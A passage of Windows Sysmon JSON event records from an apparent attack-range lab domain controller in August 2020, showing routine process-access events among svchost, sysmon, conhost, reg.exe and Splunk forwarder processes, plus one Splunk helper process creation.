C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-4010-5F2D-0000-0010897B0400}\r\nSourceProcessId: 5072\r\nSourceThreadId: 5092\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010417E0400}\r\nTargetProcessId: 4136\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-4010-5F2D-0000-0010897B0400}","SourceProcessId":"5072","SourceThreadId":"5092","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010417E0400}","TargetProcessId":"4136","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nProcessGuid: {90617006-4027-5F2D-0000-0010E0830400}\r\nProcessId: 3200\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","ProcessGuid":"{90617006-4027-5F2D-0000-0010E0830400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4027-5F2D-0000-0010E0830400}\r\nTargetProcessId: 3200\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4027-5F2D-0000-0010E0830400}","TargetProcessId":"3200","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4027-5F2D-0000-0010E0830400}\r\nTargetProcessId: 3200\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4027-5F2D-0000-0010E0830400}","TargetProcessId":"3200","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 